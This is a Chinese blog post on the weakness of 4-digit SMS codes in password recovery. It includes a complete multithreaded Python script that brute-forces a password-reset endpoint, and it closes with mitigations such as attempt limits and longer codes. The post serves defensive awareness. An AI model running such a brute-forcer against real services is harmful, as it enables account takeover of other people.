简讯验证码安全漏洞|破解风险与强化找回密码机制解析
针对简讯验证码仅用4位数字易被暴力破解的资安漏洞,透过Python多线程脚本示范攻击流程,揭露验证码试错无上限与有效期限长的风险,并提出增加验证码长度、复杂度及限制尝试次数等具体防护策略,助您强化APP找回密码安全性。
Click here to view the English version of this article.
點擊這裡查看本文章正體中文版本。
基于 SEO 考量,本文标题与描述经 AI 调整,原始版本请参考内文。
找回密码之简讯验证码强度安全问题
使用 Python 展示暴力破解的严重性
Photo by Matt Artz
前言
本文没什么资安技术含量,单纯是日前在使用某平台网站时的突发奇想;想说顺手测看看安全性,结果发现的问题。
在使用网站、APP 服务的忘记密码找回功能时;一般会有两个选项,一是输入帐号、Email,然后会寄含有 Token 的重设密码页面连结到信箱,点击后打开页面就能重设密码,这部分没什么问题,除非像 之前那篇 文章所说,设计上有漏洞才会有问题。
另一个找回密码的方式是输入绑定的手机号码(多半用在 APP 服务),然后会寄出简讯验证码到手机,完成验证码输入即可重设密码;但为了便利性,多半的服务都是使用纯数字作为验证码,另外也因为在 iOS ≥ 11 之后增加 Password AutoFill 功能,当手机收到验证码后键盘会自动判读并跳出提示。
查找 官方文件 ,苹果并没有给出验证码自动填入的判读格式规则;但我看几乎所有能支援自动填入的服务都是使用纯数字,推测应该是只能用数字不能使用数字英文夹杂的复杂组合。
问题
因数字密码的组合存在暴力破解的可能性,尤其是 4 位密码;组合只有 0000~9999,10,000 种组合;使用多个 thread 多台机器就能分组暴力破解。
假设验证请求需要 0.1 秒回应,10,000 个组合 = 10,000 次请求
1
破解所需尝试时间:((10,000 * 0.1) / thread 数) 秒
就算不开 thread 也只需要 16 多分种就能尝试出正确的简讯验证码。
除密码长度、复杂度不足之外,还有个问题是验证码未设尝试上限、有效期限太长这两个问题。
组合
综合上述,此资安问题常见于 APP 端;因网页服务多半都会在尝试错误多次后加上图形验证码验证或在请求重设密码时需多输入安全问题,增加发送验证请求的困难度;另外网页服务的验证若没有前后端分离,变成每次验证请求都要拿整个网页,拉长请求回应时间。
APP 端因流程设计及方便使用者,多半会简化重设密码流程、有的 APP 甚至是通过手机号码验证就能登入;如果在 API 端没有做防护则会造成资安漏洞。
实践
⚠️警告⚠️ 本文仅作展示此安全问题的严重性,请勿拿去做坏事。
嗅探验证请求 API
万事都从嗅探开始,这部分可参考之前的文章「 APP有用HTTPS传输,但资料还是被偷了。 」、「 使用 Python+Google Cloud Platform+Line Bot 自动执行例行琐事 」第一篇文章看原理建议使用第二篇文章的 Proxyman 进行嗅探。
如果是前后端分离的网站服务也能使用 Chrome -> 检查 -> Network -> 查看在送出验证码后发了什么请求。
这边假设得到的检查验证码请求是:
1
POST https://zhgchg.li/findPWD
Response:
1
2
3
4
{
"status":fasle
"msg":"验证错误"
}
撰写暴力破解 Python 脚本
crack.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import random
import requests
import json
import threading
phone = "0911111111"
found = False
def crack(start, end):
global found
for code in range(start, end):
if found:
break
stringCode = str(code).zfill(4)
data = {
"phone" : phone,
"code": stringCode
}
headers = {}
try:
request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
result = json.loads(request.content)
if result["status"] == True:
print("Code is:" + stringCode)
found = True
break
else:
print("Code " + stringCode + " is wrong.")
except Exception as e:
print("Code "+ stringCode +" exception error \(" + str(e) + ")")
def main():
codeGroups = [
[0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
[5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
]
for codeGroup in codeGroups:
t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
t.start()
main()
执行脚本后我们得到:
1
验证码等于:1743
将 1743
带入重设密码更改掉原始密码或直接登入帐号。
Bigo!
解决之道
密码重设增加更多资讯验证(如:生日、安全问题)
增加验证码长度(如 Apple 6 码数字)、增加验证码复杂度(如果不影响 AutoFill 功能)
验证码尝试错误大于 3 次后使其失效,需请使用者重新发送验证码
验证码有效时限缩短
验证码尝试错误过多次锁定装置、增加图形验证码
APP 多做 SSL Pining、传输加解密(防止嗅探)
延伸阅读
有任何问题及指教欢迎 与我联络 。
本文首次发表于 Medium (点击查看原始版本),由 ZMediumToMarkdown 提供自动转换与同步技术。